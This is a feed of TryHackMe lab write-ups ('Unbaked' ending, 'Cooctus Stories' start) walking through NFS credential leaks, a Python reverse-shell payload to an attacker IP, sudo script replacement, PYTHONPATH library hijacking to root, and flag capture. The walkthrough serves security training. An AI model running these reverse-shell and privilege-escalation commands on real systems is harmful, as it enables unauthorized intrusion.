        <span class="n">OPTIONS</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">input</span><span class="p">(</span><span class="s2">"</span><span class="se">\t\t\t</span><span class="s2">Enter Options &gt;&gt; "</span><span class="p">))</span>
            <span class="nb">print</span> <span class="s2">"</span><span class="se">\033</span><span class="s2">c"</span>
        <span class="k">if</span> <span class="n">OPTIONS</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
            <span class="n">instructions2</span><span class="p">()</span>
            <span class="n">OPTIONS2</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">input</span><span class="p">(</span><span class="s2">"</span><span class="se">\t\t\t</span><span class="s2">Enter Options &gt;&gt; "</span><span class="p">))</span>
            <span class="nb">print</span> <span class="s2">"</span><span class="se">\033</span><span class="s2">c"</span>
            <span class="k">if</span> <span class="n">OPTIONS2</span> <span class="o">==</span> <span class="mi">5</span><span class="p">:</span>
                <span class="k">continue</span>
            <span class="k">else</span><span class="p">:</span>
                <span class="n">NUM1</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">input</span><span class="p">(</span><span class="s2">"</span><span class="se">\t\t\t</span><span class="s2">Enter Number1 &gt;&gt; "</span><span class="p">))</span>
                <span class="n">NUM2</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">input</span><span class="p">(</span><span class="s2">"</span><span class="se">\t\t\t</span><span class="s2">Enter Number2 &gt;&gt; "</span><span class="p">))</span>
                <span class="k">if</span> <span class="n">OPTIONS2</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
                    <span class="n">TOTAL</span> <span class="o">=</span> <span class="n">add</span><span class="p">(</span><span class="n">NUM1</span><span class="p">,</span><span class="n">NUM2</span><span class="p">)</span>
                <span class="k">if</span> <span class="n">OPTIONS2</span> <span class="o">==</span> <span class="mi">2</span><span class="p">:</span>
                    <span class="n">TOTAL</span> <span class="o">=</span> <span class="n">subtract</span><span class="p">(</span><span class="n">NUM1</span><span class="p">,</span><span class="n">NUM2</span><span class="p">)</span>
                <span class="k">if</span> <span class="n">OPTIONS2</span> <span class="o">==</span> <span class="mi">3</span><span class="p">:</span>
                    <span class="n">TOTAL</span> <span class="o">=</span> <span class="n">multiply</span><span class="p">(</span><span class="n">NUM1</span><span class="p">,</span><span class="n">NUM2</span><span class="p">)</span>
                <span class="k">if</span> <span class="n">OPTIONS2</span> <span class="o">==</span> <span class="mi">4</span><span class="p">:</span>
                    <span class="n">TOTAL</span> <span class="o">=</span> <span class="n">divide</span><span class="p">(</span><span class="n">NUM1</span><span class="p">,</span><span class="n">NUM2</span><span class="p">)</span>
                <span class="nb">print</span> <span class="s2">"</span><span class="se">\t\t\t</span><span class="s2">Total &gt;&gt; $"</span><span class="p">,</span><span class="n">TOTAL</span>
        <span class="k">if</span> <span class="n">OPTIONS</span> <span class="o">==</span> <span class="mi">2</span><span class="p">:</span>
            <span class="n">animation</span> <span class="o">=</span> <span class="p">[</span><span class="s2">"[■□□□□□□□□□]"</span><span class="p">,</span><span class="s2">"[■■□□□□□□□□]"</span><span class="p">,</span> <span class="s2">"[■■■□□□□□□□]"</span><span class="p">,</span> <span class="s2">"[■■■■□□□□□□]"</span><span class="p">,</span> <span class="s2">"[■■■■■□□□□□]"</span><span class="p">,</span> <span class="s2">"[■■■■■■□□□□]"</span><span class="p">,</span> <span class="s2">"[■■■■■■■□□□]"</span><span class="p">,</span> <span class="s2">"[■■■■■■■■□□]"</span><span class="p">,</span> <span class="s2">"[■■■■■■■■■□]"</span><span class="p">,</span> <span class="s2">"[■■■■■■■■■■]"</span><span class="p">]</span>

            <span class="nb">print</span> <span class="s2">"</span><span class="se">\r\t\t\t</span><span class="s2">     Waiting to extract..."</span>
            <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">animation</span><span class="p">)):</span>
                <span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mf">0.5</span><span class="p">)</span>
                <span class="n">sys</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s2">"</span><span class="se">\r\t\t\t</span><span class="s2">         "</span> <span class="o">+</span> <span class="n">animation</span><span class="p">[</span><span class="n">i</span> <span class="o">%</span> <span class="nb">len</span><span class="p">(</span><span class="n">animation</span><span class="p">)])</span>
                <span class="n">sys</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">flush</span><span class="p">()</span>

            <span class="n">LISTED</span> <span class="o">=</span> <span class="n">pytesseract</span><span class="o">.</span><span class="n">image_to_string</span><span class="p">(</span><span class="n">Image</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="s1">'payload.png'</span><span class="p">))</span> 

            <span class="n">TOTAL</span> <span class="o">=</span> <span class="nb">eval</span><span class="p">(</span><span class="n">LISTED</span><span class="p">)</span>
            <span class="nb">print</span> <span class="s2">"</span><span class="se">\n\n\t\t\t</span><span class="s2">Total &gt;&gt; $"</span><span class="p">,</span><span class="n">TOTAL</span>
        <span class="k">if</span> <span class="n">OPTIONS</span> <span class="o">==</span> <span class="mi">3</span><span class="p">:</span>
            <span class="n">credits</span><span class="p">()</span>
    <span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
</pre></div>
<p>At this stage, it seems we have 2 ways of moving forward. Either we find an exploit on the python script itself, or we replace the content of the script, as it is in our home folder.
</p><p>The script is owned by <code>root</code> and we only have read access to the file:
</p>
<pre>ramsey@unbaked:~$ ls -l /home/ramsey/vuln.py 
-rw-r--r-- 1 root ramsey 4369 Oct  3  2020 /home/ramsey/vuln.py</pre>
<p>However, the file is in our home folder, and we can rename it. Let’s take advantage of this to replace its content:
</p>
<pre>ramsey@unbaked:~$ cat &gt; /home/ramsey/vuln2.py &lt;&lt; EOF
&gt; #!/usr/bin/python
&gt; import pty
&gt; pty.spawn('/bin/bash')
&gt; EOF
ramsey@unbaked:~$ mv vuln.py vuln.bak
ramsey@unbaked:~$ cp vuln2.py vuln.py </pre>
<p>Now, running our modified copy will grant access as <code>oliver</code>:
</p>
<pre>ramsey@unbaked:~$ sudo -u oliver /usr/bin/python /home/ramsey/vuln.py
oliver@unbaked:~$ id
uid=1002(oliver) gid=1002(oliver) groups=1002(oliver),1003(sysadmin)</pre>
<div class="mw-heading mw-heading2"><h2 id="Privilege_escalation">Privilege escalation</h2></div>
<p>Our new user can run <code>dockerScript.py</code> as <code>root</code> without password, and can set the environment variable as well (<code>SETENV</code>).
</p>
<pre>oliver@unbaked:~$ sudo -l
Matching Defaults entries for oliver on unbaked:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User oliver may run the following commands on unbaked:
    (root) SETENV: NOPASSWD: /usr/bin/python /opt/dockerScript.py</pre>
<p>The script is importing the <code>docker</code> library:
</p>
<pre>oliver@unbaked:~$ ls -l /opt/dockerScript.py 
-rwxr-x--- 1 root sysadmin 290 Oct  3  2020 /opt/dockerScript.py
oliver@unbaked:~$ cat /opt/dockerScript.py 
import docker

# oliver, make sure to restart docker if it crashes or anything happened.
# i havent setup swap memory for it
# it is still in development, please dont let it live yet!!!
client = docker.from_env()
client.containers.run("python-django:latest", "sleep infinity", detach=True)</pre>
<p>As we can set the environment variable, let’s create our own <code>docker</code> library:
</p>
<pre>oliver@unbaked:/home/oliver$ cat &gt; /home/oliver/docker.py &lt;&lt; EOF
&gt; import pty
&gt; pty.spawn('/bin/bash')
&gt; EOF</pre>
<p>Now, we can run the script as follows, to get a root access:
</p>
<pre>oliver@unbaked:/home/oliver$ sudo PYTHONPATH=/home/oliver /usr/bin/python /opt/dockerScript.py
root@unbaked:/home/oliver# id
uid=0(root) gid=0(root) groups=0(root)
root@unbaked:/home/oliver# cat /root/
.bash_history  .cache/        .profile       
.bashrc        .nano/         root.txt       
root@unbaked:/home/oliver# cat /root/root.txt 
CONGRATS ON PWNING THIS BOX!
Created by ch4rm &amp; H0j3n
ps: dont be mad us, we hope you learn something new

flag: THM{1ff4c893b3d8830c1e188a3728e90a5f}</pre>
<p>Root flag: <code>THM{1ff4c893b3d8830c1e188a3728e90a5f}</code>
</p>
<!-- 
NewPP limit report
Cached time: 20260416101050
Cache expiry: 86400
Reduced expiry: false
Complications: [show‐toc]
CPU time usage: 0.073 seconds
Real time usage: 2.215 seconds
Preprocessor visited node count: 159/1000000
Revision size: 22132/2097152 bytes
Post‐expand include size: 0/2097152 bytes
Template argument size: 0/2097152 bytes
Highest expansion depth: 2/100
Expensive parser function count: 3/100
Unstrip recursion depth: 0/20
Unstrip post‐expand size: 33551/5000000 bytes
-->
<!--
Transclusion expansion time report (%,ms,calls,template)
100.00%    0.000      1 -total
-->

<!-- Saved in parser cache with key ald1210912434520:pcache:7028:|#|:idhash:canonical and timestamp 20260416101050 and revision id 38784. Rendering was triggered because: page_view
 -->
</div>]]></description>
        </item>
        <item>
            <title>TryHackMe > Cooctus Stories</title>
            <link>https://www.aldeid.com/wiki/TryHackMe-Cooctus-Stories</link>
            <comments>https://www.aldeid.com/wiki/Talk:TryHackMe-Cooctus-Stories</comments>
            <pubDate>Fri, 28 May 2021 06:50:00 +0000</pubDate>
            <guid isPermaLink="true">https://www.aldeid.com/wiki/TryHackMe-Cooctus-Stories</guid>
            <description><![CDATA[<p><img src="https://www.aldeid.com/wiki/Special:FilePath/Icon-TryHackMe-Cooctus-Stories.png"></p><div class="mw-content-ltr mw-parser-output" lang="en" dir="ltr"><p>This room is about the Cooctus Clan.
</p><p><b>Previously on Cooctus Tracker</b>
</p><p>Overpass has been hacked! The SOC team (Paradox, congratulations on the promotion) noticed suspicious activity on a late night shift while looking at shibes, and managed to capture packets as the attack happened. (From Overpass 2 - Hacked by NinjaJc01)
</p><p><b>Present times</b>
</p><p>Further investigation revealed that the hack was made possible by the help of an insider threat. Paradox helped the Cooctus Clan hack overpass in exchange for the secret shiba stash. Now, we have discovered a private server deep down under the boiling hot sands of the Saharan Desert. We suspect it is operated by the Clan and it’s your objective to uncover their plans.
</p><p>Note: A stable shell is recommended, so try and SSH into users when possible.
</p>
<div id="toc" class="toc" role="navigation" aria-labelledby="mw-toc-heading"><input type="checkbox" role="button" id="toctogglecheckbox" class="toctogglecheckbox" style="display:none"><div class="toctitle" lang="en" dir="ltr"><h2 id="mw-toc-heading">Contents</h2><span class="toctogglespan"><label class="toctogglelabel" for="toctogglecheckbox"></label></span></div>
<ul>
<li class="toclevel-1 tocsection-1"><a href="#Paradox_is_nomming_cookies"><span class="tocnumber">1</span> <span class="toctext">Paradox is nomming cookies</span></a>
<ul>
<li class="toclevel-2 tocsection-2"><a href="#Services"><span class="tocnumber">1.1</span> <span class="toctext">Services</span></a></li>
<li class="toclevel-2 tocsection-3"><a href="#NFS"><span class="tocnumber">1.2</span> <span class="toctext">NFS</span></a></li>
<li class="toclevel-2 tocsection-4"><a href="#Web"><span class="tocnumber">1.3</span> <span class="toctext">Web</span></a></li>
<li class="toclevel-2 tocsection-5"><a href="#Reverse_Shell"><span class="tocnumber">1.4</span> <span class="toctext">Reverse Shell</span></a></li>
<li class="toclevel-2 tocsection-6"><a href="#Paradox_Flag"><span class="tocnumber">1.5</span> <span class="toctext">Paradox Flag</span></a></li>
</ul>
</li>
<li class="toclevel-1 tocsection-7"><a href="#Find_out_what_Szymex_is_working_on"><span class="tocnumber">2</span> <span class="toctext">Find out what Szymex is working on</span></a>
<ul>
<li class="toclevel-2 tocsection-8"><a href="#The_SniffingCat.py_script"><span class="tocnumber">2.1</span> <span class="toctext">The SniffingCat.py script</span></a></li>
<li class="toclevel-2 tocsection-9"><a href="#Reverse_engineer_the_password"><span class="tocnumber">2.2</span> <span class="toctext">Reverse engineer the password</span></a></li>
<li class="toclevel-2 tocsection-10"><a href="#Lateral_move_(paradox_->_szymex)"><span class="tocnumber">2.3</span> <span class="toctext">Lateral move (paradox -&gt; szymex)</span></a></li>
</ul>
</li>
<li class="toclevel-1 tocsection-11"><a href="#Find_out_what_Tux_is_working_on"><span class="tocnumber">3</span> <span class="toctext">Find out what Tux is working on</span></a>
<ul>
<li class="toclevel-2 tocsection-12"><a href="#First_fragment"><span class="tocnumber">3.1</span> <span class="toctext">First fragment</span></a></li>
<li class="toclevel-2 tocsection-13"><a href="#Second_fragment"><span class="tocnumber">3.2</span> <span class="toctext">Second fragment</span></a></li>
<li class="toclevel-2 tocsection-14"><a href="#Third_fragment"><span class="tocnumber">3.3</span> <span class="toctext">Third fragment</span></a></li>
<li class="toclevel-2 tocsection-15"><a href="#Crack_fragments_hash"><span class="tocnumber">3.4</span> <span class="toctext">Crack fragments hash</span></a></li>
<li class="toclevel-2 tocsection-16"><a href="#Tux’s_flag"><span class="tocnumber">3.5</span> <span class="toctext">Tux’s flag</span></a></li>
</ul>
</li>
<li class="toclevel-1 tocsection-17"><a href="#Find_out_what_Varg_is_working_on"><span class="tocnumber">4</span> <span class="toctext">Find out what Varg is working on</span></a>
<ul>
<li class="toclevel-2 tocsection-18"><a href="#Lateral_move_(tux_->_varg)"><span class="tocnumber">4.1</span> <span class="toctext">Lateral move (tux -&gt; varg)</span></a></li>
</ul>
</li>
<li class="toclevel-1 tocsection-19"><a href="#Get_full_root_privileges"><span class="tocnumber">5</span> <span class="toctext">Get full root privileges</span></a>
<ul>
<li class="toclevel-2 tocsection-20"><a href="#Root_flag"><span class="tocnumber">5.1</span> <span class="toctext">Root flag</span></a></li>
</ul>
</li>
</ul>
</div>

<div class="mw-heading mw-heading1"><h1 id="Paradox_is_nomming_cookies">Paradox is nomming cookies</h1></div>
<p><i>Hint: Confront the CAT!</i>
</p>
<div class="mw-heading mw-heading2"><h2 id="Services">Services</h2></div>
<pre>PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e5:44:62:91:90:08:99:5d:e8:55:4f:69:ca:02:1c:10 (RSA)
|   256 e5:a7:b0:14:52:e1:c9:4e:0d:b8:1a:db:c5:d6:7e:f0 (ECDSA)
|_  256 02:97:18:d6:cd:32:58:17:50:43:dd:d2:2f:ba:15:53 (ED25519)
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      37644/udp6  mountd
|   100005  1,2,3      41390/udp   mountd
|   100005  1,2,3      49245/tcp6  mountd
|   100005  1,2,3      59977/tcp   mountd
|   100021  1,3,4      34839/tcp6  nlockmgr
|   100021  1,3,4      35275/udp   nlockmgr
|   100021  1,3,4      36517/tcp   nlockmgr
|   100021  1,3,4      40081/udp6  nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
2049/tcp  open  nfs_acl  3 (RPC #100227)
8080/tcp  open  http     Werkzeug httpd 0.14.1 (Python 3.6.9)
|_http-server-header: Werkzeug/0.14.1 Python/3.6.9
|_http-title: CCHQ
36517/tcp open  nlockmgr 1-4 (RPC #100021)
43101/tcp open  mountd   1-3 (RPC #100005)
55387/tcp open  mountd   1-3 (RPC #100005)
59977/tcp open  mountd   1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre>
<div class="mw-heading mw-heading2"><h2 id="NFS">NFS</h2></div>
<p>There is a NFS network share that reveals credentials:
</p>
<ul><li>Username: <code>paradoxial.test</code></li>
<li>Password: <code>ShibaPretzel79</code></li></ul>
<pre>┌──(kali㉿kali)-[/data/Cooctus_Stories/files]
└─$ mkdir tmp  
                                                                                                                     
┌──(kali㉿kali)-[/data/Cooctus_Stories/files]
└─$ sudo mount -t nfs 10.10.94.63: tmp 
                                                                                                                     
┌──(kali㉿kali)-[/data/Cooctus_Stories/files]
└─$ tree tmp 
tmp
└── var
    └── nfs
        └── general
            └── credentials.bak

3 directories, 1 file
                                                                                                                     
┌──(kali㉿kali)-[/data/Cooctus_Stories/files]
└─$ cat tmp/var/nfs/general/credentials.bak 
paradoxial.test
ShibaPretzel79</pre>
<div class="mw-heading mw-heading2"><h2 id="Web">Web</h2></div>
<p>There is a web service running on port 8080. There is no <code>robots.txt</code> file but the enumeration reveals 2 locations.
</p>
<pre>└─$ gobuster dir -u http://10.10.94.63:8080 -w /usr/share/wordlists/dirb/common.txt                            5 ⨯
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.94.63:8080
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/05/28 09:46:41 Starting gobuster in directory enumeration mode
===============================================================
/cat                  (Status: 302) [Size: 219] [--&gt; http://10.10.94.63:8080/login]
/login                (Status: 200) [Size: 556]                                      
                                                                                     
===============================================================
2021/05/28 09:47:35 Finished
===============================================================</pre>
<p>We can login (<a target="_blank" rel="nofollow noreferrer noopener" class="external free" href="http://10.10.94.63:8080/login">http://10.10.94.63:8080/login</a>) using the credentials found just previously. Once logged in, we are redirected to the <code>/cat</code> page.
</p>
<div class="mw-heading mw-heading2"><h2 id="Reverse_Shell">Reverse Shell</h2></div>
<p>After playing a bit with the form and payloads, I was able to send the following payload (python reverse shell):
</p>
<pre>python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.50.72",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</pre>
<p>We now have a reverse shell:
</p>
<pre>$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.8.50.72] from (UNKNOWN) [10.10.94.63] 35218
bash: cannot set terminal process group (726): Inappropriate ioctl for device
bash: no job control in this shell
paradox@cchq:~$ pwd
pwd
/home/paradox</pre>
<div class="mw-heading mw-heading2"><h2 id="Paradox_Flag">Paradox Flag</h2></div>
<pre>paradox@cchq:~$ ll
ll
total 36
drwxr-xr-x 5 paradox paradox 4096 Feb 22 18:48 ./
drwxr-xr-x 6 root    root    4096 Jan  2 10:24 ../
lrwxrwxrwx 1 paradox paradox    9 Feb 20 17:13 .bash_history -&gt; /dev/null
-rw-r--r-- 1 paradox paradox  220 Jan  2 10:24 .bash_logout
-rw-r--r-- 1 paradox paradox 3882 Feb 20 21:50 .bashrc
drwx------ 2 paradox paradox 4096 Jan  2 18:31 .cache/
drwxr-xr-x 4 paradox paradox 4096 Jan  1 22:03 CATapp/
drwx------ 3 paradox paradox 4096 Jan  2 18:31 .gnupg/
-rw-r--r-- 1 paradox paradox  807 Jan  2 10:24 .profile
-rw------- 1 paradox paradox   38 Feb 20 20:23 user.txt
paradox@cchq:~$ cat user.txt
cat user.txt
THM{2dccd1ab3e03990aea77359831c85ca2}</pre>
<p>Paradox flag: <code>THM{2dccd1ab3e03990aea77359831c85ca2}</code>
</p>
<div class="mw-heading mw-heading1"><h1 id="Find_out_what_Szymex_is_working_on">Find out what Szymex is working on</h1></div>
<p><i>Hint: Locating shipment…</i>
</p>
<div class="mw-heading mw-heading2"><h2 id="The_SniffingCat.py_script">The SniffingCat.py script</h2></div>
<p>Add your SSH public key to <code>/home/paradox/.ssh/authorized_keys</code> and connect via SSH directly as <code>paradox</code>. When we connect, we can notice a message displayed every minute:
</p>
<pre>Broadcast message from szymex@cchq (somewhere) (Fri May 28 09:52:01 2021):     
                                                                               
Approximate location of an upcoming Dr.Pepper shipment found:
                                                                               
                                                                               
Broadcast message from szymex@cchq (somewhere) (Fri May 28 09:52:01 2021):     
                                                                               
Coordinates: X: 306, Y: 26, Z: 9
                                                                               
                                                                               
Broadcast message from szymex@cchq (somewhere) (Fri May 28 09:53:01 2021):     
                                                                               
Approximate location of an upcoming Dr.Pepper shipment found:
                                                                               
                                                                               
Broadcast message from szymex@cchq (somewhere) (Fri May 28 09:53:01 2021):     
                                                                               
Coordinates: X: 567, Y: 48, Z: 815                                              </pre>
<p>There is a note in the home folder, as well as a python script (<code>SniffingCat.py</code>):
</p>
<pre>paradox@cchq:/home/szymex$ ll
total 44
drwxr-xr-x 5 szymex szymex 4096 Feb 22 18:45 ./
drwxr-xr-x 6 root   root   4096 Jan  2 10:24 ../
lrwxrwxrwx 1 szymex szymex    9 Feb 20 17:13 .bash_history -&gt; /dev/null
-rw-r--r-- 1 szymex szymex  220 Jan  2 09:13 .bash_logout
-rw-r--r-- 1 szymex szymex 3865 Feb 20 21:27 .bashrc
drwx------ 2 szymex szymex 4096 Jan  2 09:27 .cache/
drwx------ 3 szymex szymex 4096 Jan  2 21:44 .gnupg/
drwxrwxr-x 3 szymex szymex 4096 Jan  2 10:59 .local/
-r-------- 1 szymex szymex   11 Jan  2 14:18 mysupersecretpassword.cat
-rw-rw-r-- 1 szymex szymex  316 Feb 20 20:31 note_to_para
-rwxrwxr-- 1 szymex szymex  735 Feb 20 20:30 SniffingCat.py*
-rw------- 1 szymex szymex   38 Feb 22 18:45 user.txt
paradox@cchq:/home/szymex$ cat note_to_para 
Paradox,

I'm testing my new Dr. Pepper Tracker script. 
It detects the location of shipments in real time and sends the coordinates to your account.
If you find this annoying you need to change my super secret password file to disable the tracker.

You know me, so you know how to get access to the file.

- Szymex</pre>
<p>Checking the crontab confirms that the script is called by <code>szymex</code> and runs every minute:
</p>
<pre>paradox@cchq:/home/szymex$ cat /etc/crontab 
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / &amp;&amp; run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.monthly )
* *     * * *   szymex  /home/szymex/SniffingCat.py
#</pre>
<p>Below is the script:
</p>
<pre>paradox@cchq:/home/szymex$ cat SniffingCat.py 
#!/usr/bin/python3
import os
import random

def encode(pwd):
    enc = ''
    for i in pwd:
        if ord(i) &gt; 110:
            num = (13 - (122 - ord(i))) + 96
            enc += chr(num)
        else:
            enc += chr(ord(i) + 13)
    return enc


x = random.randint(300,700)
y = random.randint(0,255)
z = random.randint(0,1000)

message = "Approximate location of an upcoming Dr.Pepper shipment found:"
coords = "Coordinates: X: {x}, Y: {y}, Z: {z}".format(x=x, y=y, z=z)

with open('/home/szymex/mysupersecretpassword.cat', 'r') as f:
    line = f.readline().rstrip("\n")
    enc_pw = encode(line)
    if enc_pw == "pureelpbxr":
        os.system("wall -g paradox " + message)
        os.system("wall -g paradox " + coords)</pre>
<p>The script above provides us with the encoded form of a password: <code>pureelpbxr</code>. Now, we need to reverse it.
</p>
<div class="mw-heading mw-heading2"><h2 id="Reverse_engineer_the_password">Reverse engineer the password</h2></div>
<p>The script is applying a transformation to the password in clear (saved in <code>mysupersecretpassword.cat</code>) and displays the message if the encoded password is equal to <code>pureelpbxr</code>. Let’s build a quick and dirty python script that will get each letter of the alphabet, and apply the transformation, to build a conversion table.
</p>
<div class="mw-highlight mw-highlight-lang-python mw-content-ltr" dir="ltr"><pre><span></span><span class="err">┌──</span><span class="p">(</span><span class="n">kali</span><span class="err">㉿</span><span class="n">kali</span><span class="p">)</span><span class="o">-</span><span class="p">[</span><span class="o">/</span><span class="n">data</span><span class="o">/</span><span class="n">Cooctus_Stories</span><span class="o">/</span><span class="n">files</span><span class="p">]</span>
<span class="err">└─$</span> <span class="n">cat</span> <span class="n">test</span><span class="o">.</span><span class="n">py</span>                            
<span class="c1">#!/usr/bin/python3</span>

<span class="k">def</span><span class="w"> </span><span class="nf">encode</span><span class="p">(</span><span class="n">pwd</span><span class="p">):</span>
    <span class="n">enc</span> <span class="o">=</span> <span class="s1">''</span>
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">pwd</span><span class="p">:</span>
        <span class="k">if</span> <span class="nb">ord</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">110</span><span class="p">:</span>
            <span class="n">num</span> <span class="o">=</span> <span class="p">(</span><span class="mi">13</span> <span class="o">-</span> <span class="p">(</span><span class="mi">122</span> <span class="o">-</span> <span class="nb">ord</span><span class="p">(</span><span class="n">i</span><span class="p">)))</span> <span class="o">+</span> <span class="mi">96</span>
            <span class="n">enc</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">num</span><span class="p">)</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="n">enc</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="o">+</span> <span class="mi">13</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">enc</span>

<span class="n">s</span> <span class="o">=</span> <span class="s1">'abcdefghijklmnopqrstuvwxyz'</span>
<span class="n">clear</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">s</span><span class="p">)</span>
<span class="n">encoded</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">encode</span><span class="p">(</span><span class="n">s</span><span class="p">))</span>

<span class="n">pwd</span> <span class="o">=</span> <span class="s2">"pureelpbxr"</span>
<span class="n">dec</span> <span class="o">=</span> <span class="s2">""</span>

<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">pwd</span><span class="p">:</span>
    <span class="n">dec</span> <span class="o">+=</span> <span class="n">clear</span><span class="p">[</span><span class="n">encoded</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="n">i</span><span class="p">)]</span>

<span class="nb">print</span><span class="p">(</span><span class="n">dec</span><span class="p">)</span>
</pre></div>
<p>Running the script will reveal the password in the clear:
</p>
<pre>$ python3 test.py
cherrycoke</pre>
<div class="mw-heading mw-heading2"><h2 id="Lateral_move_(paradox_->_szymex)"><span id="Lateral_move_.28paradox_-.3E_szymex.29"></span>Lateral move (paradox -&gt; szymex)</h2></div>
<p>Now we can move to <code>szymex</code> and read the password:
</p>
<pre>paradox@cchq:/home/szymex$ su szymex
Password: 
szymex@cchq:~$ id
uid=1001(szymex) gid=1001(szymex) groups=1001(szymex),1004(testers)
szymex@cchq:~$ cd /home/szymex/
szymex@cchq:~$ ll
total 44
drwxr-xr-x 5 szymex szymex 4096 Feb 22 18:45 ./
drwxr-xr-x 6 root   root   4096 Jan  2 10:24 ../
lrwxrwxrwx 1 szymex szymex    9 Feb 20 17:13 .bash_history -&gt; /dev/null
-rw-r--r-- 1 szymex szymex  220 Jan  2 09:13 .bash_logout
-rw-r--r-- 1 szymex szymex 3865 Feb 20 21:27 .bashrc
drwx------ 2 szymex szymex 4096 Jan  2 09:27 .cache/
drwx------ 3 szymex szymex 4096 Jan  2 21:44 .gnupg/
drwxrwxr-x 3 szymex szymex 4096 Jan  2 10:59 .local/
-r-------- 1 szymex szymex   11 Jan  2 14:18 mysupersecretpassword.cat
-rw-rw-r-- 1 szymex szymex  316 Feb 20 20:31 note_to_para
-rwxrwxr-- 1 szymex szymex  735 Feb 20 20:30 SniffingCat.py*
-rw------- 1 szymex szymex   38 Feb 22 18:45 user.txt
szymex@cchq:~$ cat user.txt 
THM{c89f9f4ef264e22001f9a9c3d72992ef}</pre>
<p>Szymex’s flag: <code>THM{c89f9f4ef264e22001f9a9c3d72992ef}</code>
</p>
<div class="mw-heading mw-heading1"><h1 id="Find_out_what_Tux_is_working_on">Find out what Tux is working on</h1></div>
<p><i>Hint: Combine and crack</i>
</p>
<div class="mw-heading mw-heading2"><h2 id="First_fragment">First fragment</h2></div>
<p>From the note left in the home folder, we understand that we have to collect 3 fragments:
</p>
<pre>szymex@cchq:/home/tux$ cat note_to_every_cooctus 
Hello fellow Cooctus Clan members

I'm proposing my idea to dedicate a portion of the cooctus fund for the construction of a penguin army.

The 1st Tuxling Infantry will provide young and brave penguins with opportunities to
explore the world while making sure our control over every continent spreads accordingly.

Potential candidates will be chosen from a select few who successfully complete all 3 Tuxling Trials.
Work on the challenges is already underway thanks to the trio of my top-most explorers.

Required budget: 2,348,123 Doge coins and 47 pennies.

Hope this message finds all of you well and spiky.

- TuxTheXplorer</pre>
<p>The first fragment can be found in the <code>nootcode.c</code> program. Compiling the program won’t help, but we see replacements to make, from the <code>define statements</code>:
</p>
